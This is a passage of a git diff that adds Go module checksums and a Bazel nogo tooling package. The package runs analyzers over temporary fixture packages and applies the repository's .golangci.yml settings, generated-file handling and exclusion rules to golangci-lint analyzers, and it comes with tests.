v2.3.0 h1:OZZDOchCgsX5gvToVtEBoV2UWbFfI6RKQTir2UZzSxo= +github.com/ashanbrown/forbidigo/v2 v2.3.0/go.mod h1:5p6VmsG5/1xx3E785W9fouMxIOkvY2rRV9nMdWadd6c= +github.com/ccojocar/zxcvbn-go v1.0.4 h1:FWnCIRMXPj43ukfX000kvBZvV6raSxakYr1nzyNrUcc= +github.com/ccojocar/zxcvbn-go v1.0.4/go.mod h1:3GxGX+rHmueTUMvm5ium7irpyjmm7ikxYFOSJB21Das= +github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= +github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/ettle/strcase v0.2.0 h1:fGNiVF21fHXpX1niBgk0aROov1LagYsOwV/xqKDKR/Q= +github.com/ettle/strcase v0.2.0/go.mod h1:DajmHElDSaX76ITe3/VHVyMin4LWSJN5Z909Wp+ED1A= +github.com/go-logr/logr v1.4.3 h1:CjnDlHq8ikf6E492q6eKboGOC0T8CDaOvkHCIg8idEI= +github.com/go-logr/logr v1.4.3/go.mod h1:9T104GzyrTigFIr8wt5mBrctHMim0Nb2HLGrmQ40KvY= +github.com/go-task/slim-sprig/v3 v3.0.0 h1:sUs3vkvUymDpBKi3qH1YSqBQk9+9D/8M2mN1vB6EwHI= +github.com/go-task/slim-sprig/v3 v3.0.0/go.mod h1:W848ghGpv3Qj3dhTPRyJypKRiqCdHZiAzKg9hl15HA8= +github.com/gobwas/glob v0.2.3 h1:A4xDbljILXROh+kObIiy5kIaPYD8e96x1tgBhUI5J+Y= +github.com/gobwas/glob v0.2.3/go.mod h1:d3Ez4x06l9bZtSvzIay5+Yzi0fmZzPgnTbPcKjJAkT8= +github.com/golangci/misspell v0.8.0 h1:qvxQhiE2/5z+BVRo1kwYA8yGz+lOlu5Jfvtx2b04Jbg= +github.com/golangci/misspell v0.8.0/go.mod h1:WZyyI2P3hxPY2UVHs3cS8YcllAeyfquQcKfdeE9AFVg= +github.com/golangci/unconvert v0.0.0-20250410112200-a129a6e6413e h1:gD6P7NEo7Eqtt0ssnqSJNNndxe69DOQ24A5h7+i3KpM= +github.com/golangci/unconvert v0.0.0-20250410112200-a129a6e6413e/go.mod h1:h+wZwLjUTJnm/P2rwlbJdRPZXOzaT36/FwnPnY2inzc= +github.com/google/go-cmp v0.7.0 h1:wk8382ETsv4JYUZwIsn6YpYiWiBsYLSJiTsyBybVuN8= +github.com/google/go-cmp v0.7.0/go.mod h1:pXiqmnSA92OHEEa9HXL2W4E7lf9JzCmGVUdgjX3N/iU= +github.com/google/pprof v0.0.0-20260115054156-294ebfa9ad83 h1:z2ogiKUYzX5Is6zr/vP9vJGqPwcdqsWjOt+V8J7+bTc= +github.com/google/pprof v0.0.0-20260115054156-294ebfa9ad83/go.mod h1:MxpfABSjhmINe3F1It9d+8exIHFvUqtLIRCdOGNXqiI= +github.com/kisielk/errcheck v1.9.0 h1:9xt1zI9EBfcYBvdU1nVrzMzzUPUtPKs9bVSIM3TAb3M= +github.com/kisielk/errcheck v1.9.0/go.mod h1:kQxWMMVZgIkDq7U8xtG/n2juOjbLgZtedi0D+/VL/i8= +github.com/onsi/ginkgo/v2 v2.28.1 h1:S4hj+HbZp40fNKuLUQOYLDgZLwNUVn19N3Atb98NCyI= +github.com/onsi/ginkgo/v2 v2.28.1/go.mod h1:CLtbVInNckU3/+gC8LzkGUb9oF+e8W8TdUsxPwvdOgE= +github.com/onsi/gomega v1.39.1 h1:1IJLAad4zjPn2PsnhH70V4DKRFlrCzGBNrNaru+Vf28= +github.com/onsi/gomega v1.39.1/go.mod h1:hL6yVALoTOxeWudERyfppUcZXjMwIMLnuSfruD2lcfg= +github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= +github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= +github.com/securego/gosec/v2 v2.23.0 h1:h4TtF64qFzvnkqvsHC/knT7YC5fqyOCItlVR8+ptEBo= +github.com/securego/gosec/v2 v2.23.0/go.mod h1:qRHEgXLFuYUDkI2T7W7NJAmOkxVhkR0x9xyHOIcMNZ0= +github.com/stretchr/testify v1.11.1 h1:7s2iGBzp5EwR7/aIZr8ao5+dra3wiQyKjjFuvgVKu7U= +github.com/stretchr/testify v1.11.1/go.mod h1:wZwfW3scLgRK+23gO65QZefKpKQRnfz6sD981Nm4B6U= +go-simpler.org/sloglint v0.11.1 h1:xRbPepLT/MHPTCA6TS/wNfZrDzkGvCCqUv4Bdwc3H7s= +go-simpler.org/sloglint v0.11.1/go.mod h1:2PowwiCOK8mjiF+0KGifVOT8ZsCNiFzvfyJeJOIt8MQ= +go.yaml.in/yaml/v3 v3.0.4 h1:tfq32ie2Jv2UxXFdLJdh3jXuOzWiL1fo0bu/FbuKpbc= +go.yaml.in/yaml/v3 v3.0.4/go.mod h1:DhzuOOF2ATzADvBadXxruRBLzYTpT36CKvDb3+aBEFg= +golang.org/x/mod v0.40.0 h1:hUv+3cXcdRHz08UmSiOob7sadHig73uo5bkXxQ/tvUs= +golang.org/x/mod v0.40.0/go.mod h1:0/weTWkPWGBikyTWAX3dkjVztMmBA5hM0DH6BElSupE= +golang.org/x/net v0.58.0 h1:ynWG7rqYi4ccpTEuPZ2QGWHktVEM9DMCj9yzDE0Q7To= +golang.org/x/net v0.58.0/go.mod h1:YwCddHnFlT7eLQqVprV19OnhLGtc5xOKgE0RyqgfWAU= +golang.org/x/sync v0.23.0 h1:KameEIfc1IkluZyXWLn39Wd4tURc6GbCiISGiZm2bQk= +golang.org/x/sync v0.23.0/go.mod h1:sUUOizhqBxiL6pEWpqNLUiaJn1ShEbZ6BBqskPbjZm0= +golang.org/x/sys v0.47.0 h1:o7XGOvZQCADBQQ4Y7VNq2dRWQR7JmOUW8Kxx4ZsNgWs= +golang.org/x/sys v0.47.0/go.mod h1:4GL1E5IUh+htKOUEOaiffhrAeqysfVGipDYzABqnCmw= +golang.org/x/text v0.41.0 h1:vz/seA0lnX87Othu2f/0L24RcgrXD9/YFTSuGjj3rH8= +golang.org/x/text v0.41.0/go.mod h1:jvf1O8ajNzZqhSrQBPbutR/EB83Cc0CFrezNQIwbb5M= +golang.org/x/tools v0.49.0 h1:3NI7VXzL9+1WZD52Dx2ttoPwD5DWrFGpl9mFZDlmisI= +golang.org/x/tools v0.49.0/go.mod h1:SJNXV9DBKT0UbdttsQjbfJlAE/q+y36++zo3uL3N0Oo= +gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM= +gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= +gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= +gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= +mvdan.cc/unparam v0.0.0-20251027182757-5beb8c8f8f15 h1:ssMzja7PDPJV8FStj7hq9IKiuiKhgz9ErWw+m68e7DI= +mvdan.cc/unparam v0.0.0-20251027182757-5beb8c8f8f15/go.mod h1:4M5MMXl2kW6fivUT6yRGpLLPNfuGtU2Z0cPvFquGDYU= diff --git a/tools/nogo/internal/analyzertest/BUILD.bazel b/tools/nogo/internal/analyzertest/BUILD.bazel new file mode 100644 index 000000000..c7734cf4d --- /dev/null +++ b/tools/nogo/internal/analyzertest/BUILD.bazel @@ -0,0 +1,35 @@ +load("@rules_go//go:def.bzl", "go_library") + +go_library( + name = "analyzertest", + srcs = ["analyzertest.go"], + importpath = "github.com/steveyegge/beads/tools/nogo/internal/analyzertest", + visibility = ["//tools/nogo:__subpackages__"], + deps = [ + "@org_golang_x_tools//go/analysis", + "@org_golang_x_tools//go/analysis/checker", + "@org_golang_x_tools//go/packages", + ], +) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/tools/nogo/internal/analyzertest/analyzertest.go b/tools/nogo/internal/analyzertest/analyzertest.go new file mode 100644 index 000000000..2cdd6b54c --- /dev/null +++ b/tools/nogo/internal/analyzertest/analyzertest.go @@ -0,0 +1,151 @@ +// Package analyzertest runs an analyzer over a small self-contained package +// written to a temporary directory. Unlike x/tools' analysistest it needs no +// `go` command or GOPATH layout, so it works the same under `go test` and in +// a Bazel sandbox. +// +// Imports resolve to empty packages: a fixture may import any path (depguard +// only reads the import declarations), but cannot use what it imports. +package analyzertest + +import ( + "go/ast" + "go/parser" + "go/token" + "go/types" + "os" + "path" + "path/filepath" + "sort" + "testing" + + "golang.org/x/tools/go/analysis" + "golang.org/x/tools/go/analysis/checker" + "golang.org/x/tools/go/packages" +) + +// Diagnostic is a reported finding, positioned by file base name and line. +type Diagnostic struct { + File string + Line int + Message string +} + +// Run writes files (base name to source) into dir/ of a fresh +// temporary directory, type-checks them as one package, runs a, and returns +// its diagnostics sorted by position. +func Run(t *testing.T, a *analysis.Analyzer, pkgPath string, files map[string]string) []Diagnostic { + t.Helper() + dir := filepath.Join(t.TempDir(), filepath.FromSlash(pkgPath)) + return run(t, a, pkgPath, dir, dir, files) +} + +// RunInRepo is Run for a package at relDir ("" for the root) of a fresh +// temporary repository. The test's working directory becomes the repository +// root and file names are repository-relative, as in a nogo action, where +// the execution root is the repository root. +func RunInRepo(t *testing.T, a *analysis.Analyzer, relDir string, files map[string]string) []Diagnostic { + t.Helper() + root := t.TempDir() + t.Chdir(root) + pkgPath := path.Join("example.com/repo", relDir) + return run(t, a, pkgPath, filepath.Join(root, filepath.FromSlash(relDir)), filepath.FromSlash(relDir), files) +} + +func run(t *testing.T, a *analysis.Analyzer, pkgPath, dir, nameDir string, files map[string]string) []Diagnostic { + t.Helper() + if err := os.MkdirAll(dir, 0o750); err != nil { + t.Fatal(err) + } + fset := token.NewFileSet() + var syntax []*ast.File + var names []string + for name := range files { + names = append(names, name) + } + sort.Strings(names) + var paths []string + for _, name := range names { + if err := os.WriteFile(filepath.Join(dir, name), []byte(files[name]), 0o600); err != nil { + t.Fatal(err) + } + fileName := filepath.Join(nameDir, name) + f, err := parser.ParseFile(fset, fileName, files[name], parser.ParseComments) + if err != nil { + t.Fatalf("parsing %s: %v", name, err) + } + syntax = append(syntax, f) + paths = append(paths, fileName) + } + info := &types.Info{ + Types: map[ast.Expr]types.TypeAndValue{}, + Instances: map[*ast.Ident]types.Instance{}, + Defs: map[*ast.Ident]types.Object{}, + Uses: map[*ast.Ident]types.Object{}, + Implicits: map[ast.Node]types.Object{}, + Selections: map[*ast.SelectorExpr]*types.Selection{}, + Scopes: map[ast.Node]*types.Scope{}, + FileVersions: map[*ast.File]string{}, + } + sizes := types.SizesFor("gc", "amd64") + conf := types.Config{GoVersion: "go1.26", Sizes: sizes, Importer: emptyImporter{}} + tpkg, err := conf.Check(pkgPath, fset, syntax, info) + if err != nil { + t.Fatalf("type-checking %s: %v", pkgPath, err) + } + pkg := &packages.Package{ + ID: pkgPath, + Name: tpkg.Name(), + PkgPath: pkgPath, + GoFiles: paths, + CompiledGoFiles: paths, + Fset: fset, + Syntax: syntax, + Types: tpkg, + TypesInfo: info, + TypesSizes: sizes, + Imports: map[string]*packages.Package{}, + } + graph, err := checker.Analyze([]*analysis.Analyzer{a}, []*packages.Package{pkg}, nil) + if err != nil { + t.Fatalf("analyzing: %v", err) + } + var out []Diagnostic + for _, act := range graph.Roots { + if act.Err != nil { + t.Fatalf("%s: %v", act.Analyzer.Name, act.Err) + } + for _, d := range act.Diagnostics { + p := fset.Position(d.Pos) + out = append(out, Diagnostic{File: filepath.Base(p.Filename), Line: p.Line, Message: d.Message}) + } + } + sort.Slice(out, func(i, j int) bool { + if out[i].File != out[j].File { + return out[i].File < out[j].File + } + return out[i].Line < out[j].Line + }) + return out +} + +// emptyImporter resolves every import to an empty, complete package. +type emptyImporter struct{} + +func (emptyImporter) Import(importPath string) (*types.Package, error) { + pkg := types.NewPackage(importPath, path.Base(importPath)) + pkg.MarkComplete() + return pkg, nil +} + +// Equal fails t unless got equals want. +func Equal(t *testing.T, got, want []Diagnostic) { + t.Helper() + if len(got) != len(want) { + t.Fatalf("diagnostics = %+v, want %+v", got, want) + } + for i := range want { + if got[i] != want[i] { + t.Errorf("diagnostic %d = %+v, want %+v", i, got[i], want[i]) + } + } +} diff --git a/tools/nogo/internal/golangci/BUILD.bazel b/tools/nogo/internal/golangci/BUILD.bazel new file mode 100644 index 000000000..835acc846 --- /dev/null +++ b/tools/nogo/internal/golangci/BUILD.bazel @@ -0,0 +1,57 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +# config.go embeds .golangci.yml; go:embed cannot reach outside the package, +# so Bazel copies it in. (The tools/nogo module is built by Bazel only.) +genrule( + name = "golangci_yml", + srcs = ["//:.golangci.yml"], + outs = ["golangci.yml"], + cmd = "cp $< $@", +) + +go_library( + name = "golangci", + srcs = [ + "config.go", + "wrap.go", + ], + embedsrcs = [":golangci.yml"], # keep + importpath = "github.com/steveyegge/beads/tools/nogo/internal/golangci", + visibility = ["//tools/nogo:__subpackages__"], + deps = [ + "@in_gopkg_yaml_v3//:yaml_v3", + "@org_golang_x_tools//go/analysis", + ], +) + +go_test( + name = "golangci_test", + srcs = ["wrap_test.go"], + deps = [ + ":golangci", + "//tools/nogo/internal/analyzertest", + "@org_golang_x_tools//go/analysis", + ], +) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/tools/nogo/internal/golangci/config.go b/tools/nogo/internal/golangci/config.go new file mode 100644 index 000000000..1fecca691 --- /dev/null +++ b/tools/nogo/internal/golangci/config.go @@ -0,0 +1,307 @@ +// Package golangci applies the repository's .golangci.yml to nogo analyzers. +// +// .golangci.yml stays the single description of what the linters check: which +// are enabled, their settings, `run.tests`, generated-file handling and the +// path/text exclusion rules. Bazel copies it into this package (see +// BUILD.bazel), and Wrap gives every golangci-lint linter's nogo analyzer the +// semantics golangci-lint gave it, so editing .golangci.yml changes what the +// nogo build reports. +// +// Decoding is strict: a key this package does not implement fails every +// wrapped analyzer instead of being ignored, so the nogo build can never +// silently drop a setting golangci-lint would have honored. +package golangci + +import ( + "bytes" + _ "embed" // .golangci.yml, copied in by BUILD.bazel + "errors" + "fmt" + "regexp" + "slices" + "sync" + + "gopkg.in/yaml.v3" +) + +//go:embed golangci.yml +var embedded []byte + +// Config is the subset of golangci-lint v2's configuration this repository +// uses. Field names follow golangci-lint's keys. +type Config struct { + Version string `yaml:"version"` + Run RunSection `yaml:"run"` + Linters Linters `yaml:"linters"` + Issues Issues `yaml:"issues"` + + rules []compiledRule +} + +// RunSection is golangci-lint's `run` section. +type RunSection struct { + // Timeout bounds a golangci-lint run; nogo has no equivalent. + Timeout string `yaml:"timeout"` + // Tests reports whether test files are analyzed (golangci-lint's default: + // true). + Tests *bool `yaml:"tests"` +} + +// Issues is golangci-lint's `issues` section. Its keys shape golangci-lint's +// report output only; any finding still fails the nogo build. +type Issues struct { + UniqByLine *bool `yaml:"uniq-by-line"` +} + +// Linters is golangci-lint's `linters` section. +type Linters struct { + Default string `yaml:"default"` + Enable []string `yaml:"enable"` + Settings Settings `yaml:"settings"` + Exclusions Exclusions `yaml:"exclusions"` +} + +// Settings holds the settings of the linters this repository enables. +type Settings struct { + Depguard DepguardSettings `yaml:"depguard"` + Errcheck ErrcheckSettings `yaml:"errcheck"` + Forbidigo ForbidigoSettings `yaml:"forbidigo"` + Gosec GosecSettings `yaml:"gosec"` + Misspell MisspellSettings `yaml:"misspell"` + Sloglint SloglintSettings `yaml:"sloglint"` + Unconvert UnconvertSettings `yaml:"unconvert"` + Unparam UnparamSettings `yaml:"unparam"` +} + +// DepguardSettings is depguard's settings block. +type DepguardSettings struct { + Rules map[string]DepguardList `yaml:"rules"` +} + +// DepguardList is one named depguard rule. +type DepguardList struct { + ListMode string `yaml:"list-mode"` + Files []string `yaml:"files"` + Allow []string `yaml:"allow"` + Deny []DepguardDeny `yaml:"deny"` +} + +// DepguardDeny is one denied package prefix and the reason shown for it. +type DepguardDeny struct { + Pkg string `yaml:"pkg"` + Desc string `yaml:"desc"` +} + +// ErrcheckSettings is errcheck's settings block. +type ErrcheckSettings struct { + DisableDefaultExclusions bool `yaml:"disable-default-exclusions"` + CheckTypeAssertions bool `yaml:"check-type-assertions"` + CheckAssignToBlank bool `yaml:"check-blank"` + ExcludeFunctions []string `yaml:"exclude-functions"` + Verbose bool `yaml:"verbose"` +} + +// ForbidigoSettings is forbidigo's settings block. +type ForbidigoSettings struct { + Forbid []ForbidigoPattern `yaml:"forbid"` + // ExcludeGodocExamples defaults to true, as in golangci-lint. + ExcludeGodocExamples *bool `yaml:"exclude-godoc-examples"` + AnalyzeTypes bool `yaml:"analyze-types"` +} + +// ForbidigoPattern is one forbidden identifier pattern. +type ForbidigoPattern struct { + Pattern string `yaml:"pattern"` + Pkg string `yaml:"pkg,omitempty"` + Msg string `yaml:"msg,omitempty"` +} + +// GosecSettings is gosec's settings block. Only rule selection is supported; +// gosec's per-rule `config` map is not. +type GosecSettings struct { + Includes []string `yaml:"includes"` + Excludes []string `yaml:"excludes"` + Severity string `yaml:"severity"` + Confidence string `yaml:"confidence"` +} + +// MisspellSettings is misspell's settings block. +type MisspellSettings struct { + Mode string `yaml:"mode"` + Locale string `yaml:"locale"` + ExtraWords []MisspellExtraWord `yaml:"extra-words"` + IgnoreRules []string `yaml:"ignore-rules"` +} + +// MisspellExtraWord adds a typo and its correction. +type MisspellExtraWord struct { + Typo string `yaml:"typo"` + Correction string `yaml:"correction"` +} + +// SloglintSettings is sloglint's settings block. NoMixedArgs defaults to +// true, as in golangci-lint. +type SloglintSettings struct { + NoMixedArgs *bool `yaml:"no-mixed-args"` + KVOnly bool `yaml:"kv-only"` + AttrOnly bool `yaml:"attr-only"` + NoGlobal string `yaml:"no-global"` + Context string `yaml:"context"` + StaticMsg bool `yaml:"static-msg"` + MsgStyle string `yaml:"msg-style"` + NoRawKeys bool `yaml:"no-raw-keys"` + KeyNamingCase string `yaml:"key-naming-case"` + ForbiddenKeys []string `yaml:"forbidden-keys"` + ArgsOnSepLines bool `yaml:"args-on-sep-lines"` +} + +// UnconvertSettings is unconvert's settings block. +type UnconvertSettings struct { + FastMath bool `yaml:"fast-math"` + Safe bool `yaml:"safe"` +} + +// UnparamSettings is unparam's settings block. +type UnparamSettings struct { + CheckExported bool `yaml:"check-exported"` +} + +// Exclusions is golangci-lint v2's `linters.exclusions` section. +type Exclusions struct { + // Generated is "lax" (the default), "strict" or "disable". + Generated string `yaml:"generated"` + Rules []ExclusionRule `yaml:"rules"` +} + +// ExclusionRule drops the findings that match every condition it sets. +type ExclusionRule struct { + Path string `yaml:"path"` + PathExcept string `yaml:"path-except"` + Text string `yaml:"text"` + Linters []string `yaml:"linters"` +} + +// Generated-file modes of linters.exclusions.generated. +const ( + GeneratedLax = "lax" + GeneratedStrict = "strict" + GeneratedDisable = "disable" +) + +// Parse strictly decodes a golangci-lint v2 configuration and validates it. +func Parse(data []byte) (*Config, error) { + dec := yaml.NewDecoder(bytes.NewReader(data)) + dec.KnownFields(true) + var c Config + if err := dec.Decode(&c); err != nil { + return nil, fmt.Errorf("decoding .golangci.yml: %w", err) + } + if c.Version != "2" { + return nil, fmt.Errorf(".golangci.yml version %q: want \"2\"", c.Version) + } + if c.Linters.Default != "none" { + return nil, fmt.Errorf(".golangci.yml linters.default %q: only \"none\" (an explicit enable list) is supported", c.Linters.Default) + } + switch c.Linters.Exclusions.Generated { + case "", GeneratedLax, GeneratedStrict, GeneratedDisable: + default: + return nil, fmt.Errorf(".golangci.yml linters.exclusions.generated %q: want lax, strict or disable", c.Linters.Exclusions.Generated) + } + for i, r := range c.Linters.Exclusions.Rules { + cr, err := r.compile() + if err != nil { + return nil, fmt.Errorf(".golangci.yml linters.exclusions.rules[%d]: %w", i, err) + } + c.rules = append(c.rules, cr) + } + return &c, nil +} + +// TestsAnalyzed reports run.tests (golangci-lint's default: true). +func (c *Config) TestsAnalyzed() bool { + return c.Run.Tests == nil || *c.Run.Tests +} + +// Enabled reports whether linters.enable lists the linter. +func (c *Config) Enabled(linter string) bool { + return slices.Contains(c.Linters.Enable, linter) +} + +// GeneratedMode returns linters.exclusions.generated, defaulted to lax. +func (c *Config) GeneratedMode() string { + if c.Linters.Exclusions.Generated == "" { + return GeneratedLax + } + return c.Linters.Exclusions.Generated +} + +var ( + loadOnce sync.Once + loaded *Config + loadErr error +) + +// Load returns the repository's .golangci.yml, parsed once. +func Load() (*Config, error) { + loadOnce.Do(func() { + loaded, loadErr = Parse(embedded) + }) + return loaded, loadErr +} + +type compiledRule struct { + path, pathExcept, text *regexp.Regexp + linters []string +} + +func (r ExclusionRule) compile() (compiledRule, error) { + var out compiledRule + var err error + if r.Path == "" && r.PathExcept == "" && r.Text == "" && len(r.Linters) == 0 { + return out, errors.New("empty rule") + } + compile := func(field, expr string) *regexp.Regexp { + if expr == "" || err != nil { + return nil + } + re, cerr := regexp.Compile(expr) + if cerr != nil { + err = fmt.Errorf("%s %q: %w", field, expr, cerr) + } + return re + } + out.path = compile("path", r.Path) + out.pathExcept = compile("path-except", r.PathExcept) + out.text = compile("text", r.Text) + out.linters = r.Linters + return out, err +} + +// match is golangci-lint's baseRule.match: every condition the rule sets +// must hold. path is relative to the repository root, with / separators. +func (r compiledRule) match(linter, path, text string) bool { + if r.text != nil && !r.text.MatchString(text) { + return false + } + if r.path != nil && !r.path.MatchString(path) { + return false + } + if r.pathExcept != nil && r.pathExcept.MatchString(path) { + return false + } + if len(r.linters) != 0 && !slices.Contains(r.linters, linter) { + return false + } + return true +} + +// Excluded reports whether a finding of linter at path (repository-relative, +// / separators) with the given text matches any exclusion rule. +func (c *Config) Excluded(linter, path, text string) bool { + for _, r := range c.rules { + if r.match(linter, path, text) { + return true + } + } + return false +} diff --git a/tools/nogo/internal/golangci/wrap.go b/tools/nogo/internal/golangci/wrap.go new file mode 100644 index 000000000..e799b05ac --- /dev/null +++ b/tools/nogo/internal/golangci/wrap.go @@ -0,0 +1,143 @@ +package golangci + +import ( + "go/ast" + "os" + "path/filepath" + "strings" + + "golang.org/x/tools/go/analysis" +) + +// Wrap returns an analyzer named linter that runs inner the way golangci-lint +// ran that linter under .golangci.yml: +// +// - nothing, unless linters.enable lists it; +// - with run.tests false, only on compile units without _test.go files. +// golangci-lint then loads each package without its tests; Bazel compiles +// that library unit on its own (go_library) beside the test unit, so the +// library unit sees exactly what golangci-lint saw, unused-parameter and +// unused-result verdicts included; +// - no findings in generated files (linters.exclusions.generated); +// - no findings an exclusion rule matches (linters.exclusions.rules). +// +// nogo honors //nolint itself (MODULE.bazel's rules_go patch). +func Wrap(linter string, inner *analysis.Analyzer) *analysis.Analyzer { + return &analysis.Analyzer{ + Name: linter, + Doc: inner.Doc, + URL: inner.URL, + Flags: inner.Flags, + Requires: inner.Requires, + ResultType: inner.ResultType, + FactTypes: inner.FactTypes, + RunDespiteErrors: inner.RunDespiteErrors, + Run: func(pass *analysis.Pass) (any, error) { + cfg, err := Load() + if err != nil { + return nil, err + } + return Run(cfg, linter, inner, pass) + }, + } +} + +// Run runs inner on pass under cfg's rules for linter (see Wrap). +func Run(cfg *Config, linter string, inner *analysis.Analyzer, pass *analysis.Pass) (any, error) { + if !cfg.Enabled(linter) { + return nil, nil + } + if !cfg.TestsAnalyzed() && HasTestFiles(pass) { + return nil, nil + } + generated := generatedFiles(cfg.GeneratedMode(), pass) + cwd, err := os.Getwd() + if err != nil { + return nil, err + } + filtered := *pass + filtered.Report = func(d analysis.Diagnostic) { + tf := pass.Fset.File(d.Pos) + if tf != nil && generated[tf.Name()] { + return + } + path := RelPath(cwd, pass.Fset.Position(d.Pos).Filename) + if cfg.Excluded(linter, path, d.Message) { + return + } + pass.Report(d) + } + return inner.Run(&filtered) +} + +// HasTestFiles reports whether the pass's compile unit includes _test.go +// files: Bazel's test unit of a package, not its library unit. +func HasTestFiles(pass *analysis.Pass) bool { + for _, f := range pass.Files { + if strings.HasSuffix(pass.Fset.File(f.Pos()).Name(), "_test.go") { + return true + } + } + return false +} + +// RelPath returns name relative to dir (nogo runs in the execution root, the +// repository root for source files) with / separators, the form +// golangci-lint's exclusion paths match. +func RelPath(dir, name string) string { + if filepath.IsAbs(name) && dir != "" { + if rel, err := filepath.Rel(dir, name); err == nil { + name = rel + } + } + return filepath.ToSlash(name) +} + +// The markers golangci-lint's lax mode looks for, lower case. +var laxGeneratedMarkers = []string{ + "code generated", + "do not edit", + "autogenerated file", + "* generated by: swagger codegen ", +} + +// generatedFiles returns the names of the pass's generated files, as +// golangci-lint's generated-file matcher decides them. +func generatedFiles(mode string, pass *analysis.Pass) map[string]bool { + out := map[string]bool{} + if mode == GeneratedDisable { + return out + } + for _, f := range pass.Files { + var gen bool + if mode == GeneratedStrict { + gen = ast.IsGenerated(f) + } else { + gen = IsGeneratedLax(f) + } + if gen { + out[pass.Fset.File(f.Pos()).Name()] = true + } + } + return out +} + +// IsGeneratedLax is golangci-lint's lax test: a comment before the first +// token after the package clause (what parser.PackageClauseOnly reads) +// contains one of the markers, in any case. +func IsGeneratedLax(f *ast.File) bool { + var doc []string + for _, group := range f.Comments { + if len(f.Decls) > 0 && group.Pos() >= f.Decls[0].Pos() { + break + } + doc = append(doc, strings.TrimSpace(group.Text())) + } + text := strings.ToLower(strings.Join(doc, "\n")) + for _, marker := range laxGeneratedMarkers { + if strings.Contains(text, marker) { + return true + } + } + return false +} diff --git a/tools/nogo/internal/golangci/wrap_test.go b/tools/nogo/internal/golangci/wrap_test.go new file mode 100644 index 000000000..926064f81 --- /dev/null +++ b/tools/nogo/internal/golangci/wrap_test.go @@ -0,0 +1,150 @@ +package golangci_test + +import ( + "go/ast" + "testing" + + "golang.org/x/tools/go/analysis" + + "github.com/steveyegge/beads/tools/nogo/internal/analyzertest" + "github.com/steveyegge/beads/tools/nogo/internal/golangci" +) + +// funcs reports every function declaration as "func ". +var funcs = &analysis.Analyzer{ + Name: "funcs", + Doc: "reports every function", + Run: func(pass *analysis.Pass) (any, error) { + for _, f := range pass.Files { + for _, d := range f.Decls { + if fn, ok := d.(*ast.FuncDecl); ok { + pass.Report(analysis.Diagnostic{Pos: fn.Pos(), Message: "func " + fn.Name.Name}) + } + } + } + return nil, nil + }, +} + +func wrapped(t *testing.T, yml string) *analysis.Analyzer { + t.Helper() + cfg, err := golangci.Parse([]byte(yml)) + if err != nil { + t.Fatal(err) + } + return &analysis.Analyzer{ + Name: "fake", + Doc: "funcs under cfg", + Run: func(pass *analysis.Pass) (any, error) { + return golangci.Run(cfg, "fake", funcs, pass) + }, + } +} + +const header = `version: "2" +linters: + default: none + enable: [fake] +` + +func TestNotEnabledReportsNothing(t *testing.T) { + a := wrapped(t, "version: \"2\"\nlinters:\n default: none\n enable: [other]\n") + got := analyzertest.RunInRepo(t, a, "p", map[string]string{"p.go": "package p\n\nfunc f() {}\n"}) + analyzertest.Equal(t, got, nil) +} + +func TestTestsFalseSkipsTestUnits(t *testing.T) { + a := wrapped(t, header+"run:\n tests: false\n") + lib := map[string]string{"p.go": "package p\n\nfunc f() {}\n"} + analyzertest.Equal(t, analyzertest.RunInRepo(t, a, "p", lib), + []analyzertest.Diagnostic{{File: "p.go", Line: 3, Message: "func f"}}) + withTest := map[string]string{ + "p.go": "package p\n\nfunc f() {}\n", + "p_test.go": "package p\n\nfunc g() {}\n", + } + analyzertest.Equal(t, analyzertest.RunInRepo(t, a, "p", withTest), nil) +} + +func TestTestsDefaultAnalyzesTestUnits(t *testing.T) { + a := wrapped(t, header) + got := analyzertest.RunInRepo(t, a, "p", map[string]string{ + "p.go": "package p\n\nfunc f() {}\n", + "p_test.go": "package p\n\nfunc g() {}\n", + }) + analyzertest.Equal(t, got, []analyzertest.Diagnostic{ + {File: "p.go", Line: 3, Message: "func f"}, + {File: "p_test.go", Line: 3, Message: "func g"}, + }) +} + +func TestGeneratedFilesAreSkipped(t *testing.T) { + files := map[string]string{ + // lax: any marker before the first declaration, in any case. + "gen.go": "// Package p is AutoGenerated File output.\npackage p\n\nfunc g() {}\n", + "late.go": "package p\n\nfunc h() {}\n\n// Code generated by nothing; a marker after the first declaration.\n", + "p.go": "package p\n\n// Do Not Edit this one, says a lax reader.\nfunc f() {}\n", + } + analyzertest.Equal(t, analyzertest.RunInRepo(t, wrapped(t, header), "p", files), + []analyzertest.Diagnostic{{File: "late.go", Line: 3, Message: "func h"}}) + strict := header + " exclusions:\n generated: strict\n" + analyzertest.Equal(t, analyzertest.RunInRepo(t, wrapped(t, strict), "p", files), + []analyzertest.Diagnostic{ + {File: "gen.go", Line: 4, Message: "func g"}, + {File: "late.go", Line: 3, Message: "func h"}, + 